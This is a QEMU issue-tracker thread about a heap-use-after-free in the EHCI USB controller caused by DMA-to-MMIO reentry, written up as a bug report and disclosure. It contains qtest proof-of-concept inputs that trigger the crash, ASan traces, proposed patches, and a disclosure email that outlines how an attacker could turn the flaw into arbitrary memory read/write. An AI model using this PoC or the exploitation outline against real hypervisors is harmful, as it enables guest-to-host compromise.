Open Issue created 1 year ago by Alexander Bulekov

Heap-use-after-free through ehci_flush_qh

This was originally reported at: https://bugs.launchpad.net/qemu/+bug/1892963

Hello,

Reproducer

```
cat << EOF | ./qemu-system-i386 -machine q35  -device \
ich9-usb-ehci1,bus=pcie.0,addr=1d.7,multifunction=on,id=ich9-ehci-1  \
-drive if=none,id=usbcdrom,media=cdrom  -device \
usb-storage,bus=ich9-ehci-1.0,port=2,drive=usbcdrom  -display none \
-nodefaults -qtest stdio -accel qtest
outl 0xcf8 0x8000ef02
outl 0xcfc 0xfbff0061
outl 0xcf8 0x8000ef11
outl 0xcfc 0x60606060
writeq 0x60606065 0xb70560ff84ffff7f
writeq 0x60606065 0xff0004fe050000ff
writeq 0x60606020 0xff015e5c057b0039
writeq 0x60606033 0x846c8a0200000611
write 0x2000004 0x4 0x4a606060
write 0x8 0x4 0x97a98095
write 0x0 0x4 0x4a606060
write 0x4 0x4 0x97a98095
write 0xc 0x4 0x4a606060
write 0x10 0x4 0x97a98095
write 0x14 0x4 0x4a606060
write 0x18 0x4 0x97a98095
write 0x1c 0x4 0x4a606060
clock_step
EOF
```

Stack-Trace

```
=================================================================
==213636==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000059e28 at pc 0x557245330ff7 bp 0x7ffc14f3fec0 sp
READ of size 4 at 0x611000059e28 thread T0
#0 0x557245330ff6 in usb_packet_unmap ../hw/usb/libhw.c:64:28
#1 0x5572453307 8b in usb_packet_map ../hw/usb/libhw.c:54:5
#2 0x5572450be79e in ehci_execute ../hw/usb/hcd-ehci.c:1375:13
#3 0x5572450b30de in ehci_state_execute ../hw/usb/hcd-ehci.c:1949:13
#4 0x5572450b30de in ehci_advance_state ../hw/usb/hcd-ehci.c:2090:21
#5 0x55724509785c in ehci_advance_periodic_state ../hw/usb/hcd-ehci.c:2220:9
#6 0x55724509785c in ehci_work_bh ../hw/usb/hcd-ehci.c:2306:17
#7 0x5572469b5832 in aio_bh_poll ../util/async.c:169:13
#8 0x557246a3770b in aio_dispatch ../util/aio-posix.c:381:5
#9 0x5572469b93ea in aio_ctx_dispatch ../util/async.c:311:5
#10 0x7fca55407e6a in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x51e6a)
#11 0x557246976053 in glib_pollfds_poll ../util/main-loop.c:232:9
#12 0x557246976053 in os_host_main_loop_wait ../util/main-loop.c:255:5
#13 0x557246976053 in main_loop_wait ../util/main-loop.c:531:11
#14 0x557245fe10c6 in qemu_main_loop ../softmmu/runstate.c:726:9
#15 0x557244b4f85a in main ../softmmu/main.c:50:5
#16 0x7fca53b66d09 in __libc_start_main csu/../csu/libc-start.c:308:16
#17 0x557244aa3259 in _start (system-i386+0x2204259)

0x611000059e28 is located 104 bytes inside of 248-byte region [0x611000059dc0,0x611000059eb8)
freed by thread T0 here:
#0 0x557244b1d04d in free (system-i386+0x227e04d)
#1 0x55724509d5f0 in ehci_free_packet ../hw/usb/hcd-ehci.c:540:5
#2 0x55724509c197 in ehci_cancel_queue ../hw/usb/hcd-ehci.c:583:9
#3 0x55724509b266 in ehci_free_queue ../hw/usb/hcd-ehci.c:610:17
#4 0x5572450ae0e0 in ehci_queues_rip_device ../hw/usb/hcd-ehci.c:673:9
#5 0x5572450aafa7 in ehci_detach ../hw/usb/hcd-ehci.c:731:5
#6 0x557244da10fa in usb_detach ../hw/usb/core.c:70:5
#7 0x557244da138f in usb_port_reset ../hw/usb/core.c:79:5
#8 0x5572450c3533 in ehci_port_write ../hw/usb/hcd-ehci.c:992:13
#9 0x5572460dbf75 in memory_region_write_accessor ../softmmu/memory.c:492:5
#10 0x5572460dba9a in access_with_adjusted_size ../softmmu/memory.c:554:18

previously allocated by thread T0 here:
#0 0x557244b1d442 in calloc (system-i386+0x227e442)
#1 0x7fca5540dda0 in g_malloc0 (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x57da0)
#2 0x5572450b4a7c in ehci_state_fetchqtd ../hw/usb/hcd-ehci.c:1851:13
#3 0x5572450b4a7c in ehci_advance_state ../hw/usb/hcd-ehci.c:2080:21
#4 0x55724509785c in ehci_advance_periodic_state ../hw/usb/hcd-ehci.c:2220:9
#5 0x55724509785c in ehci_work_bh ../hw/usb/hcd-ehci.c:2306:17
#6 0x5572469b5832 in aio_bh_poll ../util/async.c:169:13
#7 0x557246a3770b in aio_dispatch ../util/aio-posix.c:381:5

SUMMARY: AddressSanitizer: heap-use-after-free ../hw/usb/libhw.c:64:28 in usb_packet_unmap
Shadow bytes around the buggy address:
0x0c2280003370: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2280003380: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2280003390: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c22800033a0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c22800033b0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0c22800033c0: fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd
0x0c22800033d0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c22800033e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c22800033f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2280003400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2280003410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable:           00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:       fa
Freed heap region:       fd
Stack left redzone:      f1
Stack mid redzone:       f2
Stack right redzone:     f3
Stack after return:      f5
Stack use after scope:   f8
Global redzone:          f9
Global init order:       f6
Poisoned by user:        f7
Container overflow:      fc
Array cookie:            ac
Intra object redzone:    bb
ASan internal:           fe
Left alloca redzone:     ca
Right alloca redzone:    cb
Shadow gap:              cc
==213636==ABORTING
```

OSS-Fuzz Report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=1892963

libqtest Reproducer: 1892963.c

Thank you

Edited 3 months ago by Alexander Bulekov

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information

Tasks 0

No tasks are currently assigned. Use tasks to break down this issue into smaller parts.

Linked items 0

Link issues together to show that they're related or that one is blocking others. Learn more.

Activity

Alexander Bulekov added Fuzzer USB labels 1 year ago

Qiuhao Li @QiuhaoLi · 1 year ago

Hi Alex,

I just saw this #540 and #541 you wrote. Yesterday I wrote a report about a similar reentry bug to qemu-security@nongnu.org. Are you a member of that mailing list? Should I send the report to you also?

P.S. I really don't know you find similar bugs on OSS-Fuzz until I searched some bug-tracker keywords today.

Thanks. Qiuhao Li

Alexander Bulekov @a1xndr · 1 year ago Author Reporter

Hi Qiuhao,

Sending it to qemu-security is probably the right call, especially since the launchpad report had not been touched in year. I don't think oss-fuzz found this one. Judging by the date of the original report, I found it during my own tests, before the generic-fuzzer was upstreamed. I'll have to look into why oss-fuzz hasn't found it - probably some issue with the ehci config.

I'm not on qemu-security, and I shouldn't be getting security-bug reports :)

-Alex

Edited by Alexander Bulekov 1 year ago

Qiuhao Li @QiuhaoLi · 1 year ago

Ok, I add a reply to my report about #540 and #541.

Btw, it suddenly occurred to me that our generic-fuzzer can also make reentry issues. For example, a device tries to read from a mmio region while being fuzzed, but the fuzz_dma_read_cb() will write to that region, thus leading to positive-false reentry issues. In short, we change a read action to write. Should we add checks?

Alexander Bulekov @a1xndr · 1 year ago Author Reporter

I'm not sure I understand. We try to avoid writing to MMIO regions in fuzz_dma_read_cb to avoid such false-positives. E.g. that's why we have code to do address_space_translate and manually walk the AddressSpace and verify that we are writing to RAM, before doing the actual qtest_memwrite. There is a fix to that code that need to be applied, but those have to wait for the 6.1 release. BTW, since this is about the generic-fuzzer rather than this bug, I cc-ed qemu-devel. Let's continue the discussion there.

-Alex

▶ ...

Please register or sign in to reply

Qiuhao Li @QiuhaoLi · 1 year ago

Can the patch below fix this issue?

```
From 1d18e917db0fcc8cf0084cbe16967e90084bbc76 Mon Sep 17 00:00:00 2001
From: Qiuhao Li <Qiuhao.Li@outlook.com>
Date: Sat, 21 Aug 2021 14:41:29 +0800
Subject: [PATCH] ehci: avoid mmio reentry

Signed-off-by: Qiuhao Li <Qiuhao.Li@outlook.com>
---
 hw/usb/hcd-ehci.c | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/hw/usb/hcd-ehci.c b/hw/usb/hcd-ehci.c
index 6caa7ac6c2..772cc86a22 100644
--- a/hw/usb/hcd-ehci.c
+++ b/hw/usb/hcd-ehci.c
@@ -1808,6 +1808,17 @@ static int ehci_state_fetchqtd(EHCIQueue *q)
                    ARRAY_SIZE(qtd.bufptr)) < 0) {
        return 0;
    }
+   size_t mmio_start_addr = q->ehci->mem.addr;
+   size_t mmio_end_addr = mmio_start_addr + q->ehci->mem.size;
+   for (size_t i = 0; i < ARRAY_SIZE(qtd.bufptr); i++)
+   {
+       if (qtd.bufptr[i] < mmio_end_addr && (qtd.bufptr[i] + 0x1000) > mmio_start_addr )
+       {
+           DPRINTF("The transfer buffer may overlap with the MMIO region.\n");
+           DPRINTF("MMIO: 0x%lx - 0x%lx\n", mmio_start_addr, mmio_end_addr);
+           return 0;
+       }
+   }
    ehci_trace_qtd(q, NLPTR_GET(q->qtdaddr), &qtd);

    p = QTAILQ_FIRST(&q->packets);
@@ -2281,7 +2292,7 @@ static void ehci_work_bh(void *opaque)
            ehci_update_frindex(ehci, skipped_uframes);
            ehci->last_run_ns += UFRAME_TIMER_NS * skipped_uframes;
            uframes -= skipped_uframes;
-           DPRINTF("WARNING - EHCI skipped %d uframes\n", skipped_uframes);
+           DPRINTF("WARNING - EHCI skipped %lu uframes\n", skipped_uframes);
        }

        for (i = 0; i < uframes; i++) {
--
2.30.2
```

Philippe Mathieu-Daudé @philmd_rh · 1 year ago

Review happens on the qemu-devel@nongnu.org mailing list, can you post it there please?

Qiuhao Li @QiuhaoLi · 1 year ago

Hi Philippe,

This is just an ad-hoc patch to prove #541 is caused by the same bug I have reported. I don't think I know ehci enough to write a sound patch :)

Qiuhao Li @QiuhaoLi · 1 year ago

Or do you think this is not a security issue, so I should send the report to qemu-devel@nongnu.org?

Please register or sign in to reply

Alexander Bulekov @a1xndr · 1 year ago Author Reporter

Both this and #540 seem like dma-reentracy bugs. Should we create some label to tag them?

Qiuhao Li @QiuhaoLi · 1 year ago

Ok. Since these issues usually happen when DMA to MMIO regions, how about DMA, MMIO, and Reentrancy? I am bad at naming :)

Please register or sign in to reply

Alexander Bulekov mentioned in issue #556 1 year ago

Qiuhao Li @QiuhaoLi · 1 year ago

As suggested by Mauro Matteo Cascella, I will post my email to qemu-security@nongnu.org here. It seems about the same bug with a different stack backtrace. I sent this email on Fri, 20 Aug 2021 14:28:16 +0800. Hope it helps.

```
Hi developers and hackers,

I found a write-to-mmio reentry flaw in the EHCI module, leading to use-after-free and other unexpected situation

This issue hasn't been reported elsewhere.

- [ Description

When ehci tries to transfer the USB packets, it doesn't check if the Buffer
Pointer is overlapped with its MMIO region. So crafted content may be written
to the controller's registers and trigger actions like reset, but the device
is still transferring packets, resulting in bad situations.

Take the reproducer below as an example, we make the first two Buffer Pointers
in qTD all point to the MMIO region, so when the ehci try usb_packet_map() in
ehci_execute(), the second map will fail because bounce in address_space_map()
is busy. EHCI will try to unmap the first mapped buffer, which writes
bounce.buffer to the MMIO region. The buffer is uninitialized, but ASAN will
fill it with 0xbebebebe, thus triggering Host Controller Reset (HCRESET) and
free the qh and qtd structs in use, raising UAF exception.

Learned from the reproducer, to exploit the flaw, the attacker can first make
the VM allocate memory chunks the same size as bounce.buffer (4k), set the
HCRESET bit in it and free. Then he triggers a USB transfer and makes the VM
allocate memory chunks whose size is close to qh or qtd (using other devices),
thus controlling their content in a way. Since qh and qtd structs contain
struct pointers, the attacker may get the ability to write to or read from an
arbitrary location.

The attacker may leverage other functions in ehci by making packets overlapped
with the MMIO region.


-- [ Affected Versions

QEMU release 6.0.0 and v6.1.0-rc3 (previous versions may also be affected).


-- [ Reproduce

I wrote a PoC based on QTest. You can view a detailed output at [4].

Test Enviorment:

  Ubuntu 21.04
  Linux 5.11.0-25-generic x86_64
  gcc (Ubuntu 10.3.0-1ubuntu1) 10.3.0
  GLIBC 2.33-0ubuntu5
  libglib2.0-dev (2.68.1-1~ubuntu21.04.1)

#!/usr/bin/bash

wget https://download.qemu.org/qemu-6.0.0.tar.xz
# Or build from https://gitlab.com/qemu-project/qemu.git

tar xvJf qemu-6.0.0.tar.xz && cd qemu-6.0.0

./configure --enable-sanitizers && make qemu-system-x86_64 -j$(nproc)

cat << EOF | ./build/qemu-system-x86_64 -nodefaults \
-machine type=q35,accel=qtest -nographic \
-device ich9-usb-ehci1,id=ich9-ehci-1 -drive if=none,id=usbcdrom,media=cdrom \
-device usb-storage,bus=ich9-ehci-1.0,drive=usbcdrom -qtest stdio \

outl 0xcf8 0x80000810            /* Memory Base Address Register */
outl 0xcfc 0xe0000000            /* Set MMIO Address to 0xe0000000 */
outl 0xcf8 0x80000804            /* PCICMD—PCI Command Register */
outw 0xcfc 0x02                  /* Enables accesses to the USB 2.0 registers. */
write 0xe0000038 0x4 0x00100000  /* Set Current Asynchronous List Address Register to 0x1000 */
write 0x00001000 0x4 0x00000000  /* Write Queue Head to 0x1000 */
write 0x00001004 0x4 0x00800000  /* Set Head of Reclamation List Flag ([2] 3.6.2 & 4.8.3) */
write 0x00001008 0x4 0x00000000
write 0x0000100c 0x4 0x00000000
write 0x00001010 0x4 0x00200000  /* Set Next Queue Element Transfer Descriptor (qTD) pointer to 0x2000 */
write 0x00001014 0x4 0x00000000
write 0x00001018 0x4 0x00000000
write 0x0000101c 0x4 0x00000000
write 0x00001020 0x4 0x00000000
write 0x00001024 0x4 0x00000000
write 0x00001028 0x4 0x00000000
write 0x0000102c 0x4 0x00000000
write 0x00002000 0x4 0x00000000  /* write qTD to 0x2000 */
write 0x00002004 0x4 0x00000000
write 0x00002008 0x4 0x80010020  /* Bit 7: Active, Bits 8-9: IN Token, Bits 16-30: Transfer 2K bytes */
write 0x0000200c 0x4 0x000000e0  /* !! Set Buffer Pointer (Page 0) to MMIO region 0xe0000000*/
write 0x00002010 0x4 0x000000e0  /* !! Also point to 0xe0000000, make usb_packet_map() fail and trigger usb_packe
write 0x00002014 0x4 0x00000000
write 0x00002018 0x4 0x00000000
write 0x0000201c 0x4 0x00000000
write 0xe0000064 0x4 0x00010000  /* Bit 8: Start usb reset sequence */
write 0xe0000064 0x4 0x00000000  /* Terminate the reset sequence */
write 0xe0000020 0x4 0x21000000  /* Bit 5: Asynchronous Schedule Enable, Bit 0: Run */
EOF


-- [ Mitigation

1. Detect device reentry

The root cause of this bug is the reentry of the device, so if there are no
recursions in normal use, we can set a busy flag in EHCIState to prevent any
recursion. There is a similar patch in eepro100 [3].

2. Add checks in ehci_state_fetchqtd()

As shown in the patch below, after get the Buffer pointers, we can ensure the
buffer doesn't overlap with MMIO regions. But this method can't solve the
reentry problem if a buffer can overlap with MMIO regions in another function.

Signed-off-by: Qiuhao Li <Qiuhao.Li@outlook.com>
---
 hw/usb/hcd-ehci.c | 11 ++++++++++
 1 file changed, 11 insertions(+)

diff --git a/hw/usb/hcd-ehci.c b/hw/usb/hcd-ehci.c
index 6caa7ac6c2..8ac26fcbf8 100644
--- a/hw/usb/hcd-ehci.c
+++ b/hw/usb/hcd-ehci.c
@@ -1808,6 +1808,17 @@ static int ehci_state_fetchqtd(EHCIQueue *q)
                     ARRAY_SIZE(qtd.bufptr)) < 0) {
         return 0;
     }
+    size_t mmio_start = q->ehci->mem.addr;
+    size_t mmio_end = mmio_start + q->ehci->mem.size;
+    for (size_t i = 0; i < ARRAY_SIZE(qtd.bufptr); i++)
+    {
+        if (qtd.bufptr[i] < mmio_end && (qtd.bufptr[i] + 0x1000) > mmio_start)
```

```
+       {
+           DPRINTF("Warning: The transfer buffer may overlap with the MMIO "
+           "region: 0x%lx - 0x%lx\n", mmio_start, mmio_end);
+           return 0;
+       }
+    }
     ehci_trace_qtd(q, NLPTR_GET(q->qtdaddr), &qtd);

     p = QTAILQ_FIRST(&q->packets);
--
2.30.2
```

-- [References

[1] Intel ® I/O Controller Hub 9 (ICH9) Datasheet, August 2008

[2] Enhanced Host Controller Interface Specification for Universal Serial Bus, March 12, 2002, 1.0

[3] https://lists.gnu.org/archive/html/qemu-devel/2021-02/msg06098.html

[4] QTest & ASAN report (with macro EHCI_DEBUG and some trace events):

```
[I 1629429373.084016] OPENED
cpu_get_apic_base 0x00000000fee00900
usb_port_claim bus 0, port 1
usb_msd_reset
usb_port_attach bus 0, port 1, devspeed full+high+super, portspeed high
usb_ehci_port_attach attach port #0, owner ehci, device QEMU USB MSD
usb_ehci_irq level 0, frindex 0x0000, sts 0x4, mask 0x0
cpu_get_apic_base 0x00000000fee00900
usb_ehci_reset === RESET ===
usb_ehci_port_detach detach port #0, owner ehci
usb_ehci_irq level 0, frindex 0x0000, sts 0x4, mask 0x0
usb_ehci_irq level 0, frindex 0x0000, sts 0x1000, mask 0x0
usb_ehci_port_attach attach port #0, owner ehci, device QEMU USB MSD
usb_ehci_irq level 0, frindex 0x0000, sts 0x1004, mask 0x0
usb_msd_reset
ahci_reset ahci(0x61f0000017e0): HBA reset
ahci_reset_port ahci(0x61f0000017e0)[0]: reset port
ahci_reset_port ahci(0x61f0000017e0)[1]: reset port
ahci_reset_port ahci(0x61f0000017e0)[2]: reset port
ahci_reset_port ahci(0x61f0000017e0)[3]: reset port
ahci_reset_port ahci(0x61f0000017e0)[4]: reset port
ahci_reset_port ahci(0x61f0000017e0)[5]: reset port
cpu_get_apic_base 0x00000000fee00900
[R +0.039054] outl 0xcf8 0x80000810            /* Memory Base Address Register */
cpu_out addr 0xcf8(l) value 2147485712
OK
[S +0.039080] OK
[R +0.039104] outl 0xcfc 0xe0000000            /* Set MMIO Address to 0xe0000000 */
cpu_out addr 0xcfc(l) value 3758096384
pci_cfg_write ich9-usb-ehci1 01:0 @0x10 <- 0xe0000000
OK
[S +0.039128] OK
[R +0.039140] outl 0xcf8 0x80000804            /* PCICMD—PCI Command Register */
cpu_out addr 0xcf8(l) value 2147485700
OK
[S +0.039150] OK
[R +0.039161] outw 0xcfc 0x02                  /* Enables accesses to the USB 2.0 registers. */
cpu_out addr 0xcfc(w) value 2
pci_cfg_write ich9-usb-ehci1 01:0 @0x4 <- 0x2
pci_update_mappings_add d=0x62100002bd00 00:01.0 0,0xe0000000+0x1000
OK
[S +0.039654] OK
[R +0.039673] write 0xe0000038 0x4 0x00100000  /* Set Current Asynchronous List Address Register to 0x1000 */
usb_ehci_opreg_write wr mmio 0x0038 [A-LIST ADDR] = 0x1000
usb_ehci_opreg_change ch mmio 0x0038 [A-LIST ADDR] = 0x1000 (old: 0x0)
OK
[S +0.039694] OK
[R +0.039704] write 0x00001000 0x4 0x00000000  /* Write Queue Head (3.6) to 0x1000 */
OK
[S +0.039911] OK
[R +0.039930] write 0x00001004 0x4 0x00800000  /* Set Head of Reclamation List Flag (3.6.2 & 4.8.3) */
OK
[S +0.039938] OK
[R +0.039946] write 0x00001008 0x4 0x00000000
OK
[S +0.039951] OK
[R +0.039959] write 0x0000100c 0x4 0x00000000
OK
[S +0.039965] OK
[R +0.039978] write 0x00001010 0x4 0x00200000  /* Set Next Queue Element Transfer Descriptor (qTD) pointer to 0x2
OK
[S +0.039986] OK
[R +0.039994] write 0x00001014 0x4 0x00000000
OK
[S +0.039998] OK
[R +0.040004] write 0x00001018 0x4 0x00000000
OK
[S +0.040008] OK
[R +0.040014] write 0x0000101c 0x4 0x00000000
OK
[S +0.040018] OK
[R +0.040024] write 0x00001020 0x4 0x00000000
OK
[S +0.040028] OK
[R +0.040033] write 0x00001024 0x4 0x00000000
OK
[S +0.040039] OK
[R +0.040046] write 0x00001028 0x4 0x00000000
OK
[S +0.040051] OK
[R +0.040060] write 0x0000102c 0x4 0x00000000
OK
[S +0.040066] OK
[R +0.040087] write 0x00002000 0x4 0x00000000  /* write qTD to 0x2000 */
OK
[S +0.040095] OK
[R +0.040138] write 0x00002004 0x4 0x00000000
OK
[S +0.040146] OK
[R +0.040159] write 0x00002008 0x4 0x80010020  /* Bit 7: Active, Bits 8-9: IN Token, Bits 16-30: Transfer 2K byte
OK
[S +0.040167] OK
[R +0.040179] write 0x0000200c 0x4 0x000000e0  /* !! Set Buffer Pointer (Page 0) to MMIO region 0xe0000000*/
OK
[S +0.040187] OK
[R +0.040203] write 0x00002010 0x4 0x000000e0  /* !! Also point to 0xe0000000, make usb_packet_map() fail and tri
OK
[S +0.040212] OK
[R +0.040222] write 0x00002014 0x4 0x00000000
OK
[S +0.040227] OK
[R +0.040235] write 0x00002018 0x4 0x00000000
OK
[S +0.040240] OK
[R +0.040248] write 0x0000201c 0x4 0x00000000
OK
[S +0.040253] OK
[R +0.040263] write 0xe0000064 0x4 0x00010000  /* Bit 8: Start usb reset sequence */
usb_ehci_portsc_write wr mmio 0x0044 [port 0] = 0x100
usb_ehci_port_reset reset port #0 - 1
usb_ehci_portsc_change ch mmio 0x0044 [port 0] = 0x1103 (old: 0x1003)
OK
```

```
[S +0.040284] OK
[R +0.040295] write 0xe0000064 0x4 0x00000000  /* Terminate the reset sequence */
usb_ehci_portsc_write wr mmio 0x0044 [port 0] = 0x0
usb_ehci_port_reset reset port #0 - 0
usb_ehci_port_detach detach port #0, owner ehci
usb_ehci_irq level 0, frindex 0x0000, sts 0x1004, mask 0x0
usb_ehci_port_attach attach port #0, owner ehci, device QEMU USB MSD
usb_ehci_irq level 0, frindex 0x0000, sts 0x1004, mask 0x0
usb_msd_reset
usb_ehci_portsc_change ch mmio 0x0044 [port 0] = 0x1005 (old: 0x1103)
OK
[S +0.040338] OK
[R +0.040350] write 0xe0000020 0x4 0x21000000  /* Bit 5: Asynchronous Schedule Enable, Bit 0: Run */
usb_ehci_opreg_write wr mmio 0x0020 [USBCMD] = 0x21
usb_ehci_usbsts usbsts HALT 0
usb_ehci_opreg_change ch mmio 0x0020 [USBCMD] = 0x21 (old: 0x80000)
OK
[S +0.040370] OK
usb_ehci_state async schedule ACTIVE
usb_ehci_usbsts usbsts ASS 1
usb_ehci_state async schedule WAITLISTHEAD
usb_ehci_usbsts usbsts REC 1
usb_ehci_qh_ptrs q (nil) - QH @ 0x00001000: next 0x00000000 qtds 0x00000000,0x00002000,0x00000000
usb_ehci_qh_fields QH @ 0x00001000 - rl 0, mplen 0, eps 0, ep 0, dev 0
usb_ehci_qh_bits QH @ 0x00001000 - c 0, h 1, dtc 0, i 0
usb_ehci_state async schedule FETCH ENTRY
usb_ehci_state async schedule FETCH QH
usb_ehci_queue_action q 0x60d0000054c0: alloc
usb_ehci_qh_ptrs q 0x60d0000054c0 - QH @ 0x00001000: next 0x00000000 qtds 0x00000000,0x00002000,0x00000000
usb_ehci_qh_fields QH @ 0x00001000 - rl 0, mplen 0, eps 0, ep 0, dev 0
usb_ehci_qh_bits QH @ 0x00001000 - c 0, h 1, dtc 0, i 0
usb_ehci_queue_action q 0x60d0000054c0: reset
usb_ehci_usbsts usbsts REC 0
FETCHQH:  QH 0x00001002 (h 8000 halt 0 active 0) next 0x00000000
usb_ehci_state async schedule ADVANCEQUEUE
usb_ehci_state async schedule FETCH QTD
usb_ehci_qtd_ptrs q 0x60d0000054c0 - QTD @ 0x00002000: next 0x00000000 altnext 0x00000000
usb_ehci_qtd_fields QTD @ 0x00002000 - tbytes 8192, cpage 0, cerr 0, pid 1
usb_ehci_qtd_bits QTD @ 0x00002000 - ioc 0, active 1, halt 0, babble 0, xacterr 0
usb_ehci_packet_action q 0x60d0000054c0 p 0x611000059500: alloc
usb_ehci_state async schedule EXECUTE
usb_ehci_usbsts usbsts REC 1
usb_packet_state_change bus 0, port 1, ep 0, packet 0x611000059540, state undef -> setup
usb_ehci_opreg_write wr mmio 0x0020 [USBCMD] = 0xbebebebe
usb_ehci_reset === RESET ===
usb_ehci_port_detach detach port #0, owner ehci
usb_ehci_queue_action q 0x60d0000054c0: free                    /* BAD: free the queue struct in use */
usb_ehci_queue_action q 0x60d0000054c0: cancel
usb_ehci_packet_action q 0x60d0000054c0 p 0x611000059500: free  /* BAD: free the packet struct in use */
usb_ehci_irq level 0, frindex 0x0000, sts 0xa004, mask 0x0
usb_ehci_irq level 0, frindex 0x0000, sts 0x1000, mask 0x0
usb_ehci_port_attach attach port #0, owner ehci, device QEMU USB MSD
usb_ehci_irq level 0, frindex 0x0000, sts 0x1004, mask 0x0
usb_msd_reset
usb_ehci_opreg_change ch mmio 0x0020 [USBCMD] = 0x80000 (old: 0x21)
usb_ehci_opreg_write wr mmio 0x0024 [USBSTS] = 0xbebebebe
usb_ehci_usbsts usbsts ERRINT 0
usb_ehci_usbsts usbsts PCD 0
usb_ehci_usbsts usbsts FLR 0
usb_ehci_usbsts usbsts HSE 0
usb_ehci_usbsts usbsts IAA 0
usb_ehci_irq level 0, frindex 0x0000, sts 0x1000, mask 0x0
usb_ehci_opreg_change ch mmio 0x0024 [USBSTS] = 0x1000 (old: 0x1004)
usb_ehci_opreg_write wr mmio 0x0028 [USBINTR] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0028 [USBINTR] = 0x3e (old: 0x0)
usb_ehci_opreg_write wr mmio 0x002c [FRINDEX] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x002c [FRINDEX] = 0x3ebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x0030 [unknown] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0030 [unknown] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x0034 [P-LIST BASE] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0034 [P-LIST BASE] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x0038 [A-LIST ADDR] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0038 [A-LIST ADDR] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x003c [unknown] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x003c [unknown] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x0040 [unknown] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0040 [unknown] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x0044 [unknown] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0044 [unknown] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x0048 [unknown] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0048 [unknown] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x004c [unknown] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x004c [unknown] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x0050 [unknown] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0050 [unknown] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x0054 [unknown] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0054 [unknown] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x0058 [unknown] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0058 [unknown] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x005c [unknown] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x005c [unknown] = 0xbebebebe (old: 0x0)
usb_ehci_opreg_write wr mmio 0x0060 [CONFIGFLAG] = 0xbebebebe
usb_ehci_opreg_change ch mmio 0x0060 [CONFIGFLAG] = 0x0 (old: 0x0)
usb_ehci_portsc_write wr mmio 0x0044 [port 0] = 0xbebebebe
usb_ehci_port_suspend port #0
usb_ehci_portsc_change ch mmio 0x0044 [port 0] = 0x3010B1 (old: 0x1003)
usb_ehci_portsc_write wr mmio 0x0048 [port 1] = 0xbebebebe
usb_ehci_port_suspend port #1
usb_ehci_portsc_change ch mmio 0x0048 [port 1] = 0x3010B0 (old: 0x1000)
usb_ehci_portsc_write wr mmio 0x004c [port 2] = 0xbebebebe
usb_ehci_port_suspend port #2
usb_ehci_portsc_change ch mmio 0x004c [port 2] = 0x3010B0 (old: 0x1000)
usb_ehci_portsc_write wr mmio 0x0050 [port 3] = 0xbebebebe
usb_ehci_port_suspend port #3
usb_ehci_portsc_change ch mmio 0x0050 [port 3] = 0x3010B0 (old: 0x1000)
usb_ehci_portsc_write wr mmio 0x0054 [port 4] = 0xbebebebe
usb_ehci_port_suspend port #4
usb_ehci_portsc_change ch mmio 0x0054 [port 4] = 0x3010B0 (old: 0x1000)
usb_ehci_portsc_write wr mmio 0x0058 [port 5] = 0xbebebebe
usb_ehci_port_suspend port #5
usb_ehci_portsc_change ch mmio 0x0058 [port 5] = 0x3010B0 (old: 0x1000)
=================================================================
==73221==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000059568 at pc 0x55cda6214cc1 bp 0x7ffed29
READ of size 4 at 0x611000059568 thread T0
    #0 0x55cda6214cc0 in usb_packet_unmap ../hw/usb/libhw.c:64
    #1 0x55cda62147e1 in usb_packet_map ../hw/usb/libhw.c:54
    #2 0x55cda6c00b24 in ehci_execute ../hw/usb/hcd-ehci.c:1375
    #3 0x55cda6c07f0a in ehci_state_execute ../hw/usb/hcd-ehci.c:1949
    #4 0x55cda6c09287 in ehci_advance_state ../hw/usb/hcd-ehci.c:2090
    #5 0x55cda6c097f7 in ehci_advance_async_state ../hw/usb/hcd-ehci.c:2159
